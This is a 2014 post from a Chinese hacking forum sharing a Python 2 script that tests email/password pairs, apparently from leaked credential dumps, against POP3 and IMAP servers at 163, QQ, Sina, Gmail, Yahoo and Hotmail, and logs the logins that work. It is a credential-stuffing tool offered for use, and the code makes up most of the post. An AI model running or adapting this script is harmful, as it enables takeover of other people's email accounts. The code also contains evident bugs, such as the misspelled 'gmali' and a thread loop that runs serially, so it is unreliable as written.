搜索
查看: 431|回复: 0

多线程验证邮箱裤子py

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-10-18 19:53:54 | 显示全部楼层 |阅读模式
说明: 这是个多线程的验证邮箱账号、密码能否通过pop3、imap登陆的py代码。小弟c++没学好,偶尔会用py写些小东西,还是个营养不良的码农,还在路上...
扯远了,作为一个话很少的码农,直接上代码。请看附件。

虽然在py里面加了说明,还是简单来两句中文:假如你输入   1    ,他会以pop3协议运行;
                                                                          假如你输入   2    ,他会以imap协议运行。
就是那么简单,那么简单,简单。。。假如你还不懂,看图






  1. import poplib,imaplib,smtplib
  2. import re,os,threading
  3. semaphore = threading.Semaphore(1)

  4. print '''if you input 1,it works with pop3,elseif you input 2,works with imap
  5. and it needs 'emal.txt' where writes $email,$password in line.
  6. !notice:it works with opening pop3&imap,hotmail hasn't imap and make sure you can visit gmail.com,
  7. or you'll get some wrong data'''


  8. num = raw_input()
  9. filehandle = open('email.txt','r')
  10. flist = open('email.txt').readlines()


  11. def getPopMail( mailDomain ):
  12.     if mailDomain in ['163','gmali','126','qq','sina']:
  13.         temp1 = 'pop.'+mailDomain+'.com'
  14.         mail = poplib.POP3_SSL(temp1)   
  15.     elif ( mailDomain == 'hotmail' ):
  16.         mail = poplib.POP3_SSL('pop3.live.com')
  17.     elif ( mailDomain == 'yahoo' ):
  18.         mail = poplib.POP3_SSL('pop.mail.yahoo.com')
  19.     return mail;

  20. def getImapMail( mailDomain ):
  21.     if mailDomain in ['163','gmali','126','qq','sina']:
  22.         temp2 = 'imap.'+mailDomain+'.com'
  23.         mail = imaplib.IMAP4_SSL(temp2)
  24.     elif ( mailDomain == 'hotmail' ):
  25.         mail = ''
  26.     elif ( mailDomain == 'yahoo' ):
  27.         mail = imaplib.IMAP4_SSL('imap.mail.yahoo.com')
  28.     return mail

  29. def isValidEmail(email,password):
  30.     emailparts = email.split('@')
  31.     str1 = str(emailparts[1])
  32.     global subDomain
  33.     subDomain=''
  34.     if( len( emailparts ) != 2 ):
  35.         print "Email Fomat Error ";
  36.         return False  
  37.     for la1 in ['gmail','163','yahoo','qq','126','sina']:
  38.         regm1 = re.compile(la1)
  39.         if(regm1.match(str1)):
  40.             subDomain = la1
  41.             return
  42.     for la2 in ['outlook','hotmail','live']:
  43.         regm2 = re.compile(la2)
  44.         if(regm2.match(str1)):
  45.             subDomain = 'hotmail'
  46.             return
  47.    

  48. def choose_pop3(email,password):
  49.     isValidEmail(email,password)
  50.     ret = ""
  51.     try:
  52.         mail = getPopMail( subDomain );
  53.         mail.user(str(email))
  54.         mail.pass_(str(password))
  55.         ret = mail.stat()
  56.     except:
  57.         pass
  58.     retR = re.compile('\(\d*,\s*\d*');
  59.     line = email+password
  60.     if( retR.match(str(ret)) ):
  61.         writeResultFile1('s',line)
  62.         print 'Success Login';
  63.         return True
  64.     else:
  65.         writeResultFile1('f',line)
  66.         print 'Failed Login';
  67.         return False
  68.    
  69. def choose_imap(email,password):
  70.     isValidEmail(email,password)
  71.     line = email+password
  72.     try:
  73.         mail = getImapMail(subDomain)
  74.         mail.login(str(email), str(password))
  75.         writeResultFile2('s',line)
  76.         print 'Success Login'
  77.         return True
  78.     except:
  79.         writeResultFile2('f',line)
  80.         print 'Failed Login'
  81.         return False
  82.    
  83. def writeResultFile1(result,line):
  84.     if(result == 's'):
  85.         fileHS = open("successMail1.txt",'a+')
  86.     if(result == 'f'):
  87.         fileHS = open('failedMail1.txt','a+')
  88.     fileHS.write(line)
  89.    
  90. def writeResultFile2(result,line):
  91.     if(result == 's'):
  92.         fileHS = open("successMail2.txt",'a+')
  93.     if(result == 'f'):
  94.         fileHS = open('failedMail2.txt','a+')
  95.     fileHS.write(line)
  96.    
  97. def mutithread( filepathlist,targetn ):
  98.     task_threads=[] #存储线程   
  99.     for line in filepathlist:
  100.         content=line.split(',')
  101.         if(len(content)==2):
  102.             email=content[0].strip()
  103.             password=content[1].strip()        
  104.         t= threading.Thread( target=targetn,args=(email, password,) )
  105.         task_threads.append(t)     
  106.     for task in task_threads:
  107.         if semaphore.acquire():
  108.             task.start()
  109.             task.join() #等待所有线程结束
  110.             semaphore.release()
  111.     print("已经完成所有任务")
  112.          
  113.          
  114. if __name__ == '__main__':
  115.     if num=='1':
  116.         mutithread(flist, choose_pop3)
  117.     elif num=='2':
  118.         mutithread(flist, choose_imap)
  119.     else:
  120.         print 'wrong input,please wash your hand and check somekey to exit'
  121.         os.system('pause')
复制代码



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表